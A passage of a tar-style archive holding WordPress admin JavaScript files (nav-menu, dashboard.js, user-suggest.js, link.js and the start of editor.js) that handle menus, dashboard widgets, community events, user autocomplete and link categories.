.select-all'),a.length!==a.filter(":checked").length||n.is(":checked")?n.is(":checked")&&n.prop("checked",!1):n.prop("checked",!0));else if(s.hasClass("submit-add-to-menu"))return I.registerChange(),e.target.id&&"submit-customlinkdiv"==e.target.id?I.addCustomLink(I.addMenuItemToBottom):e.target.id&&-1!=e.target.id.indexOf("submit-")&&k("#"+e.target.id.replace(/submit-/,"")).addSelectedToMenu(I.addMenuItemToBottom),!1}),k("#nav-menu-meta").on("click","a.page-numbers",function(){var n=k(this).closest(".inside");return k.post(ajaxurl,this.href.replace(/.*\?/,"").replace(/action=([^&]*)/,"")+"&action=menu-get-metabox",function(e){var t=JSON.parse(e);-1!==e.indexOf("replace-id")&&(e=document.getElementById(t["replace-id"]),t.markup)&&e&&n.html(t.markup)}),!1})},eventOnClickEditLink:function(e){var t,e=/#(.*)$/.exec(e.href);if(e&&e[1]&&0!==(t=(e=k("#"+e[1])).parent()).length)return t.hasClass("menu-item-edit-inactive")?(e.data("menu-item-data")||e.data("menu-item-data",e.getItemData()),e.slideDown("fast"),t.removeClass("menu-item-edit-inactive").addClass("menu-item-edit-active")):(e.slideUp("fast"),t.removeClass("menu-item-edit-active").addClass("menu-item-edit-inactive")),!1},eventOnClickCancelLink:function(e){var t=k(e).closest(".menu-item-settings"),e=k(e).closest(".menu-item");return e.removeClass("menu-item-edit-active").addClass("menu-item-edit-inactive"),t.setItemData(t.data("menu-item-data")).hide(),e.find(".menu-item-title").text(t.data("menu-item-data")["menu-item-title"]),!1},eventOnClickMenuSave:function(){var e,t=k("#menu-name"),n=t.val();return n&&n.replace(/\s+/,"")?(e=k("#update-nav-menu"),k("#nav-menu-theme-locations select").each(function(){e.append(k("<input>",{type:"hidden",name:this.name,value:k(this).val()}))}),I.menuList.find(".menu-item-data-position").val(function(e){return e+1}),!(window.onbeforeunload=null)):(t.parent().addClass("form-invalid"),!1)},eventOnClickMenuDelete:function(){return!!window.confirm(wp.i18n.__("You are about to permanently delete this menu.\n'Cancel' to stop, 'OK' to delete."))&&!(window.onbeforeunload=null)},eventOnClickMenuItemDelete:function(e){e=parseInt(e.id.replace("delete-",""),10);return I.removeMenuItem(k("#menu-item-"+e)),I.registerChange(),!1},processQuickSearchQueryResponse:function(e,t,n){var i,a,s,m,o={},u=document.getElementById("nav-menu-meta"),d=/menu-item[(\[^]\]*/,e=k("<div>").html(e).find("li"),r=n.closest(".accordion-section-content"),l=r.find(".button-controls .select-all");e.length?(e.each(function(){if(s=k(this),(i=d.exec(s.html()))&&i[1]){for(a=i[1];u.elements["menu-item["+a+"][menu-item-type]"]||o[a];)a--;o[a]=!0,a!=i[1]&&s.html(s.html().replace(new RegExp("menu-item\\["+i[1]+"\\]","g"),"menu-item["+a+"]"))}}),k(".categorychecklist",n).html(e),wp.a11y.speak(wp.i18n.sprintf(wp.i18n.__("%d Search Results Found"),e.length),"assertive"),k(".spinner",n).removeClass("is-active"),r.removeClass("has-no-menu-item"),l.is(":checked")&&l.prop("checked",!1)):(e=wp.i18n.__("No results found."),l=k("<li>"),m=k("<p>",{text:e}),l.append(m),k(".categorychecklist",n).empty().append(l),k(".spinner",n).removeClass("is-active"),r.addClass("has-no-menu-item"),wp.a11y.speak(e,"assertive"))},removeMenuItem:function(t){var n=t.childMenuItems();k(document).trigger("menu-removing-item",[t]),t.addClass("deleting").animate({opacity:0,height:0},350,function(){var e=k("#menu-instructions");t.remove(),n.shiftDepthClass(-1).updateParentMenuItemDBId(),0===k("#menu-to-edit li").length&&(k(".drag-instructions").hide(),e.removeClass("menu-instructions-inactive")),I.refreshAdvancedAccessibility(),wp.a11y.speak(menus.itemRemoved),k("#menu-to-edit").updateParentDropdown(),k("#menu-to-edit").updateOrderDropdown()})},depthToPx:function(e){return e*I.options.menuItemDepthPerLevel},pxToDepth:function(e){return Math.floor(e/I.options.menuItemDepthPerLevel)}};k(function(){wpNavMenu.init(),k(".menu-edit a, .menu-edit button, .menu-edit input, .menu-edit textarea, .menu-edit select").on("focus",function(){var e,t,n;783<=window.innerWidth&&(e=k("#nav-menu-footer").height()+20,0<(t=k(this).offset().top-(k(window).scrollTop()+k(window).height()-k(this).height()))&&(t=0),(t*=-1)<e)&&(n=k(document).scrollTop(),k(document).scrollTop(n+(e-t)))})}),k(document).on("menu-item-added",function(){k(".bulk-actions").is(":visible")||k(".bulk-actions").show()}),k(document).on("menu-removing-item",function(e,t){1===k(t).parents("#menu-to-edit").find("li").length&&k(".bulk-actions").is(":visible")&&k(".bulk-actions").hide()})}(jQuery); dashboard.js 0000644 00000066022 15222552267 0007047 0 ustar 00 /** * @output wp-admin/js/dashboard.js */ /* global pagenow, ajaxurl, postboxes, wpActiveEditor:true, ajaxWidgets */ /* global ajaxPopulateWidgets, quickPressLoad, */ window.wp = window.wp || {}; window.communityEventsData = window.communityEventsData || {}; /** * Initializes the dashboard widget functionality. * * @since 2.7.0 */ jQuery( function($) { var welcomePanel = $( '#welcome-panel' ), welcomePanelHide = $('#wp_welcome_panel-hide'), updateWelcomePanel; /** * Saves the visibility of the welcome panel. * * @since 3.3.0 * * @param {boolean} visible Should it be visible or not. * * @return {void} */ updateWelcomePanel = function( visible ) { $.post( ajaxurl, { action: 'update-welcome-panel', visible: visible, welcomepanelnonce: $( '#welcomepanelnonce' ).val() }, function() { wp.a11y.speak( wp.i18n.__( 'Screen Options updated.' ) ); } ); }; // Unhide the welcome panel if the Welcome Option checkbox is checked. if ( welcomePanel.hasClass('hidden') && welcomePanelHide.prop('checked') ) { welcomePanel.removeClass('hidden'); } // Hide the welcome panel when the dismiss button or close button is clicked. $('.welcome-panel-close, .welcome-panel-dismiss a', welcomePanel).on( 'click', function(e) { e.preventDefault(); welcomePanel.addClass('hidden'); updateWelcomePanel( 0 ); $('#wp_welcome_panel-hide').prop('checked', false); }); // Set welcome panel visibility based on Welcome Option checkbox value. welcomePanelHide.on( 'click', function() { welcomePanel.toggleClass('hidden', ! this.checked ); updateWelcomePanel( this.checked ? 1 : 0 ); }); /** * These widgets can be populated via ajax. * * @since 2.7.0 * * @type {string[]} * * @global */ window.ajaxWidgets = ['dashboard_primary']; /** * Triggers widget updates via Ajax. * * @since 2.7.0 * * @global * * @param {string} el Optional. Widget to fetch or none to update all. * * @return {void} */ window.ajaxPopulateWidgets = function(el) { /** * Fetch the latest representation of the widget via Ajax and show it. * * @param {number} i Number of half-seconds to use as the timeout. * @param {string} id ID of the element which is going to be checked for changes. * * @return {void} */ function show(i, id) { var p, e = $('#' + id + ' div.inside:visible').find('.widget-loading'); // If the element is found in the dom, queue to load latest representation. if ( e.length ) { p = e.parent(); setTimeout( function(){ // Request the widget content. p.load( ajaxurl + '?action=dashboard-widgets&widget=' + id + '&pagenow=' + pagenow, '', function() { // Hide the parent and slide it out for visual fanciness. p.hide().slideDown('normal', function(){ $(this).css('display', ''); }); }); }, i * 500 ); } } // If we have received a specific element to fetch, check if it is valid. if ( el ) { el = el.toString(); // If the element is available as Ajax widget, show it. if ( $.inArray(el, ajaxWidgets) !== -1 ) { // Show element without any delay. show(0, el); } } else { // Walk through all ajaxWidgets, loading them after each other. $.each( ajaxWidgets, show ); } }; // Initially populate ajax widgets. ajaxPopulateWidgets(); // Register ajax widgets as postbox toggles. postboxes.add_postbox_toggles(pagenow, { pbshow: ajaxPopulateWidgets } ); /** * Control the Quick Press (Quick Draft) widget. * * @since 2.7.0 * * @global * * @return {void} */ window.quickPressLoad = function() { var act = $('#quickpost-action'), t; // Enable the submit buttons. $( '#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]' ).prop( 'disabled' , false ); t = $('#quick-press').on( 'submit', function( e ) { e.preventDefault(); // Show a spinner. $('#dashboard_quick_press #publishing-action .spinner').show(); // Disable the submit button to prevent duplicate submissions. $('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').prop('disabled', true); // Post the entered data to save it. $.post( t.attr( 'action' ), t.serializeArray(), function( data ) { // Replace the form, and prepend the published post. $('#dashboard_quick_press .inside').html( data ); $('#quick-press').removeClass('initial-form'); quickPressLoad(); highlightLatestPost(); // Focus the title to allow for quickly drafting another post. $('#title').trigger( 'focus' ); }); /** * Highlights the latest post for one second. * * @return {void} */ function highlightLatestPost () { var latestPost = $('.drafts ul li').first(); latestPost.css('background', '#fffbe5'); setTimeout(function () { latestPost.css('background', 'none'); }, 1000); } } ); // Change the QuickPost action to the publish value. $('#publish').on( 'click', function() { act.val( 'post-quickpress-publish' ); } ); $('#quick-press').on( 'click focusin', function() { wpActiveEditor = 'content'; }); autoResizeTextarea(); }; window.quickPressLoad(); // Enable the dragging functionality of the widgets. $( '.meta-box-sortables' ).sortable( 'option', 'containment', '#wpwrap' ); /** * Adjust the height of the textarea based on the content. * * @since 3.6.0 * * @return {void} */ function autoResizeTextarea() { // When IE8 or older is used to render this document, exit. if ( document.documentMode && document.documentMode < 9 ) { return; } // Add a hidden div. We'll copy over the text from the textarea to measure its height. $('body').append( '<div class="quick-draft-textarea-clone" style="display: none;"></div>' ); var clone = $('.quick-draft-textarea-clone'), editor = $('#content'), editorHeight = editor.height(), /* * 100px roughly accounts for browser chrome and allows the * save draft button to show on-screen at the same time. */ editorMaxHeight = $(window).height() - 100; /* * Match up textarea and clone div as much as possible. * Padding cannot be reliably retrieved using shorthand in all browsers. */ clone.css({ 'font-family': editor.css('font-family'), 'font-size': editor.css('font-size'), 'line-height': editor.css('line-height'), 'padding-bottom': editor.css('paddingBottom'), 'padding-left': editor.css('paddingLeft'), 'padding-right': editor.css('paddingRight'), 'padding-top': editor.css('paddingTop'), 'white-space': 'pre-wrap', 'word-wrap': 'break-word', 'display': 'none' }); // The 'propertychange' is used in IE < 9. editor.on('focus input propertychange', function() { var $this = $(this), // Add a non-breaking space to ensure that the height of a trailing newline is // included. textareaContent = $this.val() + ' ', // Add 2px to compensate for border-top & border-bottom. cloneHeight = clone.css('width', $this.css('width')).text(textareaContent).outerHeight() + 2; // Default to show a vertical scrollbar, if needed. editor.css('overflow-y', 'auto'); // Only change the height if it has changed and both heights are below the max. if ( cloneHeight === editorHeight || ( cloneHeight >= editorMaxHeight && editorHeight >= editorMaxHeight ) ) { return; } /* * Don't allow editor to exceed the height of the window. * This is also bound in CSS to a max-height of 1300px to be extra safe. */ if ( cloneHeight > editorMaxHeight ) { editorHeight = editorMaxHeight; } else { editorHeight = cloneHeight; } // Disable scrollbars because we adjust the height to the content. editor.css('overflow', 'hidden'); $this.css('height', editorHeight + 'px'); }); } } ); jQuery( function( $ ) { 'use strict'; var communityEventsData = window.communityEventsData, dateI18n = wp.date.dateI18n, format = wp.date.format, sprintf = wp.i18n.sprintf, __ = wp.i18n.__, _x = wp.i18n._x, app; /** * Global Community Events namespace. * * @since 4.8.0 * * @memberOf wp * @namespace wp.communityEvents */ app = window.wp.communityEvents = /** @lends wp.communityEvents */{ initialized: false, model: null, /** * Initializes the wp.communityEvents object. * * @since 4.8.0 * * @return {void} */ init: function() { if ( app.initialized ) { return; } var $container = $( '#community-events' ); /* * When JavaScript is disabled, the errors container is shown, so * that "This widget requires JavaScript" message can be seen. * * When JS is enabled, the container is hidden at first, and then * revealed during the template rendering, if there actually are * errors to show. * * The display indicator switches from `hide-if-js` to `aria-hidden` * here in order to maintain consistency with all the other fields * that key off of `aria-hidden` to determine their visibility. * `aria-hidden` can't be used initially, because there would be no * way to set it to false when JavaScript is disabled, which would * prevent people from seeing the "This widget requires JavaScript" * message. */ $( '.community-events-errors' ) .attr( 'aria-hidden', 'true' ) .removeClass( 'hide-if-js' ); $container.on( 'click', '.community-events-toggle-location, .community-events-cancel', app.toggleLocationForm ); /** * Filters events based on entered location. * * @return {void} */ $container.on( 'submit', '.community-events-form', function( event ) { var location = $( '#community-events-location' ).val().trim(); event.preventDefault(); /* * Don't trigger a search if the search field is empty or the * search term was made of only spaces before being trimmed. */ if ( ! location ) { return; } app.getEvents({ location: location }); }); if ( communityEventsData && communityEventsData.cache && communityEventsData.cache.location && communityEventsData.cache.events ) { app.renderEventsTemplate( communityEventsData.cache, 'app' ); } else { app.getEvents(); } app.initialized = true; }, /** * Toggles the visibility of the Edit Location form. * * @since 4.8.0 * * @param {event|string} action 'show' or 'hide' to specify a state; * or an event object to flip between states. * * @return {void} */ toggleLocationForm: function( action ) { var $toggleButton = $( '.community-events-toggle-location' ), $cancelButton = $( '.community-events-cancel' ), $form = $( '.community-events-form' ), $target = $(); if ( 'object' === typeof action ) { // The action is the event object: get the clicked element. $target = $( action.target ); /* * Strict comparison doesn't work in this case because sometimes * we explicitly pass a string as value of aria-expanded and * sometimes a boolean as the result of an evaluation. */ action = 'true' == $toggleButton.attr( 'aria-expanded' ) ? 'hide' : 'show'; } if ( 'hide' === action ) { $toggleButton.attr( 'aria-expanded', 'false' ); $cancelButton.attr( 'aria-expanded', 'false' ); $form.attr( 'aria-hidden', 'true' ); /* * If the Cancel button has been clicked, bring the focus back * to the toggle button so users relying on screen readers don't * lose their place. */ if ( $target.hasClass( 'community-events-cancel' ) ) { $toggleButton.trigger( 'focus' ); } } else { $toggleButton.attr( 'aria-expanded', 'true' ); $cancelButton.attr( 'aria-expanded', 'true' ); $form.attr( 'aria-hidden', 'false' ); } }, /** * Sends REST API requests to fetch events for the widget. * * @since 4.8.0 * * @param {Object} requestParams REST API Request parameters object. * * @return {void} */ getEvents: function( requestParams ) { var initiatedBy, app = this, $spinner = $( '.community-events-form' ).children( '.spinner' ); requestParams = requestParams || {}; requestParams._wpnonce = communityEventsData.nonce; requestParams.timezone = window.Intl ? window.Intl.DateTimeFormat().resolvedOptions().timeZone : ''; initiatedBy = requestParams.location ? 'user' : 'app'; $spinner.addClass( 'is-active' ); wp.ajax.post( 'get-community-events', requestParams ) .always( function() { $spinner.removeClass( 'is-active' ); }) .done( function( response ) { if ( 'no_location_available' === response.error ) { if ( requestParams.location ) { response.unknownCity = requestParams.location; } else { /* * No location was passed, which means that this was an automatic query * based on IP, locale, and timezone. Since the user didn't initiate it, * it should fail silently. Otherwise, the error could confuse and/or * annoy them. */ delete response.error; } } app.renderEventsTemplate( response, initiatedBy ); }) .fail( function() { app.renderEventsTemplate({ 'location' : false, 'events' : [], 'error' : true }, initiatedBy ); }); }, /** * Renders the template for the Events section of the Events & News widget. * * @since 4.8.0 * * @param {Object} templateParams The various parameters that will get passed to wp.template. * @param {string} initiatedBy 'user' to indicate that this was triggered manually by the user; * 'app' to indicate it was triggered automatically by the app itself. * * @return {void} */ renderEventsTemplate: function( templateParams, initiatedBy ) { var template, elementVisibility, $toggleButton = $( '.community-events-toggle-location' ), $locationMessage = $( '#community-events-location-message' ), $results = $( '.community-events-results' ); templateParams.events = app.populateDynamicEventFields( templateParams.events, communityEventsData.time_format ); /* * Hide all toggleable elements by default, to keep the logic simple. * Otherwise, each block below would have to turn hide everything that * could have been shown at an earlier point. * * The exception to that is that the .community-events container is hidden * when the page is first loaded, because the content isn't ready yet, * but once we've reached this point, it should always be shown. */ elementVisibility = { '.community-events' : true, '.community-events-loading' : false, '.community-events-errors' : false, '.community-events-error-occurred' : false, '.community-events-could-not-locate' : false, '#community-events-location-message' : false, '.community-events-toggle-location' : false, '.community-events-results' : false }; /* * Determine which templates should be rendered and which elements * should be displayed. */ if ( templateParams.location.ip ) { /* * If the API determined the location by geolocating an IP, it will * provide events, but not a specific location. */ $locationMessage.text( __( 'Attend an upcoming event near you.' ) ); if ( templateParams.events.length ) { template = wp.template( 'community-events-event-list' ); $results.html( template( templateParams ) ); } else { template = wp.template( 'community-events-no-upcoming-events' ); $results.html( template( templateParams ) ); } elementVisibility['#community-events-location-message'] = true; elementVisibility['.community-events-toggle-location'] = true; elementVisibility['.community-events-results'] = true; } else if ( templateParams.location.description ) { template = wp.template( 'community-events-attend-event-near' ); $locationMessage.html( template( templateParams ) ); if ( templateParams.events.length ) { template = wp.template( 'community-events-event-list' ); $results.html( template( templateParams ) ); } else { template = wp.template( 'community-events-no-upcoming-events' ); $results.html( template( templateParams ) ); } if ( 'user' === initiatedBy ) { wp.a11y.speak( sprintf( /* translators: %s: The name of a city. */ __( 'City updated. Listing events near %s.' ), templateParams.location.description ), 'assertive' ); } elementVisibility['#community-events-location-message'] = true; elementVisibility['.community-events-toggle-location'] = true; elementVisibility['.community-events-results'] = true; } else if ( templateParams.unknownCity ) { template = wp.template( 'community-events-could-not-locate' ); $( '.community-events-could-not-locate' ).html( template( templateParams ) ); wp.a11y.speak( sprintf( /* * These specific examples were chosen to highlight the fact that a * state is not needed, even for cities whose name is not unique. * It would be too cumbersome to include that in the instructions * to the user, so it's left as an implication. */ /* * translators: %s is the name of the city we couldn't locate. * Replace the examples with cities related to your locale. Test that * they match the expected location and have upcoming events before * including them. If no cities related to your locale have events, * then use cities related to your locale that would be recognizable * to most users. Use only the city name itself, without any region * or country. Use the endonym (native locale name) instead of the * English name if possible. */ __( 'We couldn’t locate %s. Please try another nearby city. For example: Kansas City; Springfield; Portland.' ), templateParams.unknownCity ) ); elementVisibility['.community-events-errors'] = true; elementVisibility['.community-events-could-not-locate'] = true; } else if ( templateParams.error && 'user' === initiatedBy ) { /* * Errors messages are only shown for requests that were initiated * by the user, not for ones that were initiated by the app itself. * Showing error messages for an event that user isn't aware of * could be confusing or unnecessarily distracting. */ wp.a11y.speak( __( 'An error occurred. Please try again.' ) ); elementVisibility['.community-events-errors'] = true; elementVisibility['.community-events-error-occurred'] = true; } else { $locationMessage.text( __( 'Enter your closest city to find nearby events.' ) ); elementVisibility['#community-events-location-message'] = true; elementVisibility['.community-events-toggle-location'] = true; } // Set the visibility of toggleable elements. _.each( elementVisibility, function( isVisible, element ) { $( element ).attr( 'aria-hidden', ! isVisible ); }); $toggleButton.attr( 'aria-expanded', elementVisibility['.community-events-toggle-location'] ); if ( templateParams.location && ( templateParams.location.ip || templateParams.location.latitude ) ) { // Hide the form when there's a valid location. app.toggleLocationForm( 'hide' ); if ( 'user' === initiatedBy ) { /* * When the form is programmatically hidden after a user search, * bring the focus back to the toggle button so users relying * on screen readers don't lose their place. */ $toggleButton.trigger( 'focus' ); } } else { app.toggleLocationForm( 'show' ); } }, /** * Populate event fields that have to be calculated on the fly. * * These can't be stored in the database, because they're dependent on * the user's current time zone, locale, etc. * * @since 5.5.2 * * @param {Array} rawEvents The events that should have dynamic fields added to them. * @param {string} timeFormat A time format acceptable by `wp.date.dateI18n()`. * * @returns {Array} */ populateDynamicEventFields: function( rawEvents, timeFormat ) { // Clone the parameter to avoid mutating it, so that this can remain a pure function. var populatedEvents = JSON.parse( JSON.stringify( rawEvents ) ); $.each( populatedEvents, function( index, event ) { var timeZone = app.getTimeZone( event.start_unix_timestamp * 1000 ); event.user_formatted_date = app.getFormattedDate( event.start_unix_timestamp * 1000, event.end_unix_timestamp * 1000, timeZone ); event.user_formatted_time = dateI18n( timeFormat, event.start_unix_timestamp * 1000, timeZone ); event.timeZoneAbbreviation = app.getTimeZoneAbbreviation( event.start_unix_timestamp * 1000 ); } ); return populatedEvents; }, /** * Returns the user's local/browser time zone, in a form suitable for `wp.date.i18n()`. * * @since 5.5.2 * * @param startTimestamp * * @returns {string|number} */ getTimeZone: function( startTimestamp ) { /* * Prefer a name like `Europe/Helsinki`, since that automatically tracks daylight savings. This * doesn't need to take `startTimestamp` into account for that reason. */ var timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone; /* * Fall back to an offset for IE11, which declares the property but doesn't assign a value. */ if ( 'undefined' === typeof timeZone ) { /* * It's important to use the _event_ time, not the _current_ * time, so that daylight savings time is accounted for. */ timeZone = app.getFlippedTimeZoneOffset( startTimestamp ); } return timeZone; }, /** * Get intuitive time zone offset. * * `Data.prototype.getTimezoneOffset()` returns a positive value for time zones * that are _behind_ UTC, and a _negative_ value for ones that are ahead. * * See https://stackoverflow.com/questions/21102435/why-does-javascript-date-gettimezoneoffset-consider-0500-as-a-positive-off. * * @since 5.5.2 * * @param {number} startTimestamp * * @returns {number} */ getFlippedTimeZoneOffset: function( startTimestamp ) { return new Date( startTimestamp ).getTimezoneOffset() * -1; }, /** * Get a short time zone name, like `PST`. * * @since 5.5.2 * * @param {number} startTimestamp * * @returns {string} */ getTimeZoneAbbreviation: function( startTimestamp ) { var timeZoneAbbreviation, eventDateTime = new Date( startTimestamp ); /* * Leaving the `locales` argument undefined is important, so that the browser * displays the abbreviation that's most appropriate for the current locale. For * some that will be `UTC{+|-}{n}`, and for others it will be a code like `PST`. * * This doesn't need to take `startTimestamp` into account, because a name like * `America/Chicago` automatically tracks daylight savings. */ var shortTimeStringParts = eventDateTime.toLocaleTimeString( undefined, { timeZoneName : 'short' } ).split( ' ' ); if ( 3 === shortTimeStringParts.length ) { timeZoneAbbreviation = shortTimeStringParts[2]; } if ( 'undefined' === typeof timeZoneAbbreviation ) { /* * It's important to use the _event_ time, not the _current_ * time, so that daylight savings time is accounted for. */ var timeZoneOffset = app.getFlippedTimeZoneOffset( startTimestamp ), sign = -1 === Math.sign( timeZoneOffset ) ? '' : '+'; // translators: Used as part of a string like `GMT+5` in the Events Widget. timeZoneAbbreviation = _x( 'GMT', 'Events widget offset prefix' ) + sign + ( timeZoneOffset / 60 ); } return timeZoneAbbreviation; }, /** * Format a start/end date in the user's local time zone and locale. * * @since 5.5.2 * * @param {int} startDate The Unix timestamp in milliseconds when the the event starts. * @param {int} endDate The Unix timestamp in milliseconds when the the event ends. * @param {string} timeZone A time zone string or offset which is parsable by `wp.date.i18n()`. * * @returns {string} */ getFormattedDate: function( startDate, endDate, timeZone ) { var formattedDate; /* * The `date_format` option is not used because it's important * in this context to keep the day of the week in the displayed date, * so that users can tell at a glance if the event is on a day they * are available, without having to open the link. * * The case of crossing a year boundary is intentionally not handled. * It's so rare in practice that it's not worth the complexity * tradeoff. The _ending_ year should be passed to * `multiple_month_event`, though, just in case. */ /* translators: Date format for upcoming events on the dashboard. Include the day of the week. See https://www.php.net/manual/datetime.format.php */ var singleDayEvent = __( 'l, M j, Y' ), /* translators: Date string for upcoming events. 1: Month, 2: Starting day, 3: Ending day, 4: Year. */ multipleDayEvent = __( '%1$s %2$d–%3$d, %4$d' ), /* translators: Date string for upcoming events. 1: Starting month, 2: Starting day, 3: Ending month, 4: Ending day, 5: Ending year. */ multipleMonthEvent = __( '%1$s %2$d – %3$s %4$d, %5$d' ); // Detect single-day events. if ( ! endDate || format( 'Y-m-d', startDate ) === format( 'Y-m-d', endDate ) ) { formattedDate = dateI18n( singleDayEvent, startDate, timeZone ); // Multiple day events. } else if ( format( 'Y-m', startDate ) === format( 'Y-m', endDate ) ) { formattedDate = sprintf( multipleDayEvent, dateI18n( _x( 'F', 'upcoming events month format' ), startDate, timeZone ), dateI18n( _x( 'j', 'upcoming events day format' ), startDate, timeZone ), dateI18n( _x( 'j', 'upcoming events day format' ), endDate, timeZone ), dateI18n( _x( 'Y', 'upcoming events year format' ), endDate, timeZone ) ); // Multi-day events that cross a month boundary. } else { formattedDate = sprintf( multipleMonthEvent, dateI18n( _x( 'F', 'upcoming events month format' ), startDate, timeZone ), dateI18n( _x( 'j', 'upcoming events day format' ), startDate, timeZone ), dateI18n( _x( 'F', 'upcoming events month format' ), endDate, timeZone ), dateI18n( _x( 'j', 'upcoming events day format' ), endDate, timeZone ), dateI18n( _x( 'Y', 'upcoming events year format' ), endDate, timeZone ) ); } return formattedDate; } }; if ( $( '#dashboard_primary' ).is( ':visible' ) ) { app.init(); } else { $( document ).on( 'postbox-toggled', function( event, postbox ) { var $postbox = $( postbox ); if ( 'dashboard_primary' === $postbox.attr( 'id' ) && $postbox.is( ':visible' ) ) { app.init(); } }); } }); /** * Removed in 5.6.0, needed for back-compatibility. * * @since 4.8.0 * @deprecated 5.6.0 * * @type {object} */ window.communityEventsData.l10n = window.communityEventsData.l10n || { enter_closest_city: '', error_occurred_please_try_again: '', attend_event_near_generic: '', could_not_locate_city: '', city_updated: '' }; window.communityEventsData.l10n = window.wp.deprecateL10nObject( 'communityEventsData.l10n', window.communityEventsData.l10n, '5.6.0' ); user-suggest.js 0000644 00000004375 15222552267 0007560 0 ustar 00 /** * Suggests users in a multisite environment. * * For input fields where the admin can select a user based on email or * username, this script shows an autocompletion menu for these inputs. Should * only be used in a multisite environment. Only users in the currently active * site are shown. * * @since 3.4.0 * @output wp-admin/js/user-suggest.js */ /* global ajaxurl, current_site_id, isRtl */ (function( $ ) { var id = ( typeof current_site_id !== 'undefined' ) ? '&site_id=' + current_site_id : ''; $( function() { var position = { offset: '0, -1' }; if ( typeof isRtl !== 'undefined' && isRtl ) { position.my = 'right top'; position.at = 'right bottom'; } /** * Adds an autocomplete function to input fields marked with the class * 'wp-suggest-user'. * * A minimum of two characters is required to trigger the suggestions. The * autocompletion menu is shown at the left bottom of the input field. On * RTL installations, it is shown at the right top. Adds the class 'open' to * the input field when the autocompletion menu is shown. * * Does a backend call to retrieve the users. * * Optional data-attributes: * - data-autocomplete-type (add, search) * The action that is going to be performed: search for existing users * or add a new one. Default: add * - data-autocomplete-field (user_login, user_email) * The field that is returned as the value for the suggestion. * Default: user_login * * @see wp-admin/includes/admin-actions.php:wp_ajax_autocomplete_user() */ $( '.wp-suggest-user' ).each( function(){ var $this = $( this ), autocompleteType = ( typeof $this.data( 'autocompleteType' ) !== 'undefined' ) ? $this.data( 'autocompleteType' ) : 'add', autocompleteField = ( typeof $this.data( 'autocompleteField' ) !== 'undefined' ) ? $this.data( 'autocompleteField' ) : 'user_login'; $this.autocomplete({ source: ajaxurl + '?action=autocomplete-user&autocomplete_type=' + autocompleteType + '&autocomplete_field=' + autocompleteField + id, delay: 500, minLength: 2, position: position, open: function() { $( this ).addClass( 'open' ); }, close: function() { $( this ).removeClass( 'open' ); } }); }); }); })( jQuery ); link.js 0000644 00000011411 15222552267 0006045 0 ustar 00 /** * @output wp-admin/js/link.js */ /* global postboxes, deleteUserSetting, setUserSetting, getUserSetting */ jQuery( function($) { var newCat, noSyncChecks = false, syncChecks, catAddAfter; $('#link_name').trigger( 'focus' ); // Postboxes. postboxes.add_postbox_toggles('link'); /** * Adds event that opens a particular category tab. * * @ignore * * @return {boolean} Always returns false to prevent the default behavior. */ $('#category-tabs a').on( 'click keyup keydown', function( event ){ var t = $(this).attr('href'); if ( event.type === 'keydown' && event.key === ' ' ) { event.preventDefault(); } if ( ( event.type === 'keyup' && event.key === ' ' ) || ( event.type === 'keydown' && event.key === 'Enter' ) || event.type === 'click' ) { event.preventDefault(); $('#category-tabs a').removeAttr( 'aria-selected' ).attr( 'tabindex', '-1' ); $(this).attr( 'aria-selected', 'true' ).removeAttr( 'tabindex' ); $(this).parent().addClass('tabs').siblings('li').removeClass('tabs'); $('.tabs-panel').hide(); $(t).show(); if ( '#categories-all' == t ) { deleteUserSetting('cats'); } else { setUserSetting('cats','pop'); } return false; } if ( event.type === 'keyup' && ( event.key === 'ArrowRight' || event.key === 'ArrowLeft' ) ) { $(this).attr( 'tabindex', '-1' ); let next = $(this).parent('li').next(); let prev = $(this).parent('li').prev(); if ( next.length > 0 ) { next.find('a').removeAttr( 'tabindex'); next.find('a').trigger( 'focus' ); } else { prev.find('a').removeAttr( 'tabindex'); prev.find('a').trigger( 'focus' ); } } }); if ( getUserSetting('cats') ) $('#category-tabs a[href="#categories-pop"]').trigger( 'click' ); // Ajax Cat. newCat = $('#newcat').one( 'focus', function() { $(this).val( '' ).removeClass( 'form-input-tip' ); } ); /** * After adding a new category, focus on the category add input field. * * @return {void} */ $('#link-category-add-submit').on( 'click', function() { newCat.focus(); } ); /** * Synchronize category checkboxes. * * This function makes sure that the checkboxes are synced between the all * categories tab and the most used categories tab. * * @since 2.5.0 * * @return {void} */ syncChecks = function() { if ( noSyncChecks ) return; noSyncChecks = true; var th = $(this), c = th.is(':checked'), id = th.val().toString(); $('#in-link-category-' + id + ', #in-popular-link_category-' + id).prop( 'checked', c ); noSyncChecks = false; }; /** * Adds event listeners to an added category. * * This is run on the addAfter event to make sure the correct event listeners * are bound to the DOM elements. * * @since 2.5.0 * * @param {string} r Raw XML response returned from the server after adding a * category. * @param {Object} s List manager configuration object; settings for the Ajax * request. * * @return {void} */ catAddAfter = function( r, s ) { $(s.what + ' response_data', r).each( function() { var t = $($(this).text()); t.find( 'label' ).each( function() { var th = $(this), val = th.find('input').val(), id = th.find('input')[0].id, name = th.text().trim(), o; $('#' + id).on( 'change', syncChecks ); o = $( '<option value="' + parseInt( val, 10 ) + '"></option>' ).text( name ); } ); } ); }; /* * Instantiates the list manager. * * @see js/_enqueues/lib/lists.js */ $('#categorychecklist').wpList( { // CSS class name for alternate styling. alt: '', // The type of list. what: 'link-category', // ID of the element the parsed Ajax response will be stored in. response: 'category-ajax-response', // Callback that's run after an item got added to the list. addAfter: catAddAfter } ); // All categories is the default tab, so we delete the user setting. $('a[href="#categories-all"]').on( 'click', function(){deleteUserSetting('cats');}); // Set a preference for the popular categories to cookies. $('a[href="#categories-pop"]').on( 'click', function(){setUserSetting('cats','pop');}); if ( 'pop' == getUserSetting('cats') ) $('a[href="#categories-pop"]').trigger( 'click' ); /** * Adds event handler that shows the interface controls to add a new category. * * @ignore * * @param {Event} event The event object. * @return {boolean} Always returns false to prevent regular link * functionality. */ $('#category-add-toggle').on( 'click', function() { $(this).parents('div:first').toggleClass( 'wp-hidden-children' ); $('#category-tabs a[href="#categories-all"]').trigger( 'click' ); $('#newcategory').trigger( 'focus' ); return false; } ); $('.categorychecklist :checkbox').on( 'change', syncChecks ).filter( ':checked' ).trigger( 'change' ); }); editor.js 0000644 00000127777 15222552267 0006425 0 ustar 00 /** * @output wp-admin/js/editor.js */ window.wp = window.wp || {}; ( function( $, wp ) { wp.editor = wp.editor || {}; /** * Utility functions for the editor. * * @since 2.5.0 */ function SwitchEditors() { var tinymce, $$, exports = 